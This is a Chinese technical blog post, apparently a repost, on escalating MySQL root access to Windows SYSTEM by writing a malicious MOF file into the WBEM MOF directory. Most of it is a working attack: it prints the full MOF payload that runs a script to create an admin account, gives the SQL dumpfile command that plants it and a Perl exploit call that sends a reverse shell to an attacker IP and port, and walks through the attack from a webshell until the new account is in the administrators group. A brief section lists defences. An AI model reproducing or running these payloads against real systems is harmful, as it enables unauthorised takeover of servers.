文档章节

技术干货:MySQL数据库Root权限MOF方法提权研究

小猪猪的风
 小猪猪的风
发布于 2016/11/01 17:49
字数 938
阅读 455
收藏 0
点赞 0
评论 0

MySQL Root权限MOF方法提权是来自国外Kingcope大牛发布的MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit(https://www.exploit-db.com/exploits/23083/),简称mysql远程提权0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件:

方法1:运行 MOF 文件指定为命令行参数将 Mofcomp.exe 文件。

方法2:使用 IMofCompiler 接口和 $ CompileFile 方法。

方法3:拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。

Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。第三种方法仅为向后兼容性与早期版本的 WMI 提供,并因为此功能可能不会提供在将来的版本后,不应使用。注意使用MOF方法提权的前提是当前Root帐号可以复制文件到%SystemRoot%\System32\Wbem\MOF目录下,否则会失败!

001漏洞利用方法分析

该漏洞的利用前提条件是必须具备mysql的root权限,在Kingcope公布的0day中公布了一个pl利用脚本。

perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555

192.168.2.100为mysql数据库所在服务器,mysql口令为空,反弹到192.168.2.150的5555端口上。

1.生成nullevt.mof文件

将以下代码保存为nullevt.mof文件:

 
  1. #pragma namespace("\\\\.\\root\\subscription")  
  2.  
  3. instance of __EventFilter as $EventFilter  
  4. {  
  5.     EventNamespace = "Root\\Cimv2";  
  6.     Name  = "filtP2";  
  7.     Query = "Select * From __InstanceModificationEvent "  
  8.             "Where TargetInstance Isa \"Win32_LocalTime\" "  
  9.             "And TargetInstance.Second = 5";  
  10.     QueryLanguage = "WQL";  
  11. };  
  12.  
  13. instance of ActiveScriptEventConsumer as $Consumer  
  14. {  
  15.     Name = "consPCSV2";  
  16.     ScriptingEngine = "JScript";  
  17.     ScriptText =  
  18.     "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";  
  19. };  
  20.  
  21. instance of __FilterToConsumerBinding  
  22. {  
  23.     Consumer   = $Consumer;  
  24.     Filter = $EventFilter;  
  25. }; 

2.通过Mysql查询将文件导入

执行以下查询语句,将上面生成的nullevt.mof导入到c:\windows\system32\wbem\mof\目录下在windows7中默认是拒绝访问的。导入后系统会自动运行,执行命令。

 
  1. select load_file('C:\\RECYCLER\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'; 

002实战利用

1.实验环境

本次实验环境为Windows2003+Apache+PHP,已经拥有Webshell权限。

2.上传文件到可写目录

将nullevt.mof文件上传到服务器可写目录,例如C:\RECYCLER\,如图5-4所示。

技术干货:MySQL数据库Root权限MOF方法提权研究

上传文件nullevt.mof

3.执行命令

配置好中国菜刀,然后通过数据库管理,执行查询命令,在执行查询命令前需要先选择一下数据库,然后将以下代码复制到查询语句输入框中,如图5-5所示。

select load_file('C:\\RECYCLER\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

技术干货:MySQL数据库Root权限MOF方法提权研究

执行查询命令

4.查看执行结果

执行完毕后需要修改添加用户命令为将用户添加到管理员组,即“net.exe localgroup administrators admin/add\”,再次上传并查询,如图5-6所示,通过net user查看,果然admin已被添加到系统中。

技术干货:MySQL数据库Root权限MOF方法提权研究

添加用户成功

003防范方法

Mysql Root权限MOF方法提权其前提条件是能够将上传的nullevt.mof复制到系统目录下,例如c:\windows\system32\wbem\mof中,如果无法复制则会提权失败。一般对Windows2003以下操作系统效果较好,Windows2008以上由于保护机制,较少能够成功。因此可以采取以下措施进行防范:

1.在程序数据库连接文件中尽量不要使用Root帐号进行连接。

2.Root帐号使用强加密方式,采用字母大小写+数字+特殊字符,密码位数15位以上。

3.对Mysql数据库的mysql数据库目录权限严格限制,IIS用户无法读写该文件。

4. 操作系统目录c:\windows\system32\wbem禁止写入。(51CTO)

本文转载自:http://zhuanlan.51cto.com/art/201610/520320.htm

共有 人打赏支持
小猪猪的风
粉丝 14
博文 359
码字总数 60296
作品 0
厦门
MySQL数据库渗透及漏洞利用总结

MySQL 数据库渗透及漏洞利用总结 Simeon MySQL 数据库是目前世界上使用最为广泛的数据库之一,很多著名公司和站点都使用 MySQL 作为其数据库支撑,目前很多架构都以 MySQL 作为数据库管理系统...

simeon2005 ⋅ 2017/11/14 ⋅ 0

关于mysql mof提权研究

无意中看到有关mysql的这种提权方式,趁着有空余时间便研究了起来,发现网上有挺多地方写的不够详细的,研究的时候也卡壳了一段时间。 利用前提: 操作系统为windows 操作系统版本不宜太高,...

z2pp ⋅ 2017/10/25 ⋅ 0

《安天365安全研究》知识星球安全圈子说明

我们致力于安全就研究和分享,分享前沿技术和实战技术,都是毫无保留的分享。打造一个真正的技术交流圈子,在这个圈子中可以快速获取想要的资料。为了杜绝一些伸手党,我们提出了收费,但也提...

simeon2005 ⋅ 2017/10/24 ⋅ 0

《******入门到实践,让SQLmap子 弹飞一会儿》专栏创作有感

《**入门到实践,让SQLmap子 弹飞一会儿》专栏创作有感 2016年有了一个想法,在*时会碰到各种技术问题,当一个目标时,取得一定的进展,但取碰到很多新的技术问题,以前没有碰到过,如果不解...

simeon2005 ⋅ 06/20 ⋅ 0

SQLmap注入获取Webshell及系统权限研究

使用sqlmap除了能进行sql注入渗透测试外,其还提供了强大的命令执行功能可以进行udf提权、MSSQL下xp_cmdshell提权,在条件允许的情况下,可以获取操作系统shell和SQL shell,有的还可以直接获...

simeon2005 ⋅ 05/16 ⋅ 0

Android 下的共享库注入,ptrace出错

最近在做共享库注入的研究,还没开始就遇到问题了,ptace 挂载进程失败,权限不够,要以root身份注入程序,不知道该怎么处理,另外模拟器已经root了,在Java层也已经提权,superuser已经提示...

ztlt201 ⋅ 2013/05/09 ⋅ 0

最详细的语言入侵教程大全

最详细的语音入侵教程大全 http://pan.baidu.com/s/1ANdXc 寻找程序漏洞之狂扫目录 http://pan.baidu.com/s/1ntA0BbF Google Hack语法 http://pan.baidu.com/s/1ntG6rjj 利用robots.txt找敏感......

moguy ⋅ 2016/11/18 ⋅ 0

Web 安全渗透学习路线

引用来源 http://www.zhihu.com/question/21914899/answer/39344435 来源:知乎 Web安全相关概念 熟悉基本概念(SQL注入、上传、XSS、CSRF、一句话木马等)。 通过关键字(SQL注入、上传、X...

NNigel ⋅ 2015/11/12 ⋅ 0

设置SUID用于提权或降权

一、基础介绍 刚看了马哥的视频介绍SUID说,当为可执行文件设置SUID并当其转换为进程后,该进程的所属主为原程序文件的属主,以原程序文件属主的身份进行操作,该特殊权限可以用于提权或降权...

JyingHZ ⋅ 2017/11/17 ⋅ 0

mysql mof+metasploit反弹shell

鉴于上篇文章 http://z2ppp.blog.51cto.com/11186185/1975985 mysql mof提权 metasploit已经有针对该方式的利用代码,原理还是一样生成mof文件,只是metasploit中可以使用到反弹技术,就不用...

z2pp ⋅ 2017/10/25 ⋅ 0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

如何解决s权限位引发postfix及crontab异常

一、问题现象 业务反馈某台应用服务器,普通用户使用mutt程序发送邮件时,提示“postdrop warning: mail_queue_enter: create file maildrop/713410.6065: Permission denied”,而且普通用法...

问题终结者 ⋅ 24分钟前 ⋅ 0

Unable to load database on disk

由于磁盘空间满了以后,导致zookeeper异常退出,清理磁盘空间后,zk启动报错,信息如下: 2018-06-25 17:18:46,904 INFO org.apache.zookeeper.server.quorum.QuorumPeerConfig: Reading co...

刀锋 ⋅ 43分钟前 ⋅ 0

css3 box-sizing:border-box 实现div一行多列

<!DOCTYPE html><html><head><style> div.container{ background:green; padding:10px 10px;}div.box{box-sizing:border-box;-moz-box-sizing:border-box; /* Fir......

qimh ⋅ 49分钟前 ⋅ 0

Homebrew简介和基本使用

一、Homebrew是什么 Homebrew是一款Mac OS平台下的软件包管理工具,拥有安装、卸载、更新、查看、搜索等很多实用的功能。简单的一条指令,就可以实现包管理,而不用你关心各种依赖和文件路径...

说回答 ⋅ 56分钟前 ⋅ 0

文件压缩和打包zip、tar

第六章 文件压缩和打包 6.5 zip压缩工具 zip命令可以用来解压缩文件,或者对文件进行打包操作。zip是个使用广泛的压缩程序,文件经它压缩后会另外产生具有“.zip”扩展名的压缩文件。 注意:...

弓正 ⋅ 57分钟前 ⋅ 0

vuex

一、状态对象如何赋值给内部对象。三种方式: 1、使用computed赋值,一定要写this,不然找不到$store。 computed:{ count(){ return this.$store.state.count; }} 2、通...

大美琴 ⋅ 今天 ⋅ 0

javaScript 设计模式

1、构造函数模式 ` /** 构造一个动物的函数 */ function Animal(name, color){ this.name = name; this.color = color; this.getName = function(){ return this.name; } } // 实例一个对象 ......

fangPeng_ ⋅ 今天 ⋅ 0

日常嘚瑟:TeamCity构建中解压和打包tar

要弄一个新的构建,很简单,从两个构建的tar格式Artifact中分别取一部分,重新打一个tar。 所以,我去写个脚本用curl下载两个依赖的Artifact,然后解压移动重新打个tar? 开什么玩笑,我的技...

谷永权 ⋅ 今天 ⋅ 0

Istio官方文档中文版

阅读目录 Istio官方文档中文版 回到目录 Istio官方文档中文版 http://istio.doczh.cn/ https://istio.io/docs/concepts/what-is-istio/goals.html 为什么要使用Istio? 在从单体应用程序向分...

xiaomin0322 ⋅ 今天 ⋅ 0

CentOS 7 Omnibus 包安装 GitLab 并汉化记录

系统环境 操作系统:CentOS 7GitLab:gitlab-ce-10.8.4-ce.0.el7.x86_64.rpm 下载Omnibus安装包 使用国内镜像加速下载地址 # wget https://mirrors.tuna.tsinghua.edu.cn/gitlab-ce/yum/el......

admin_qing ⋅ 今天 ⋅ 0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

返回顶部
顶部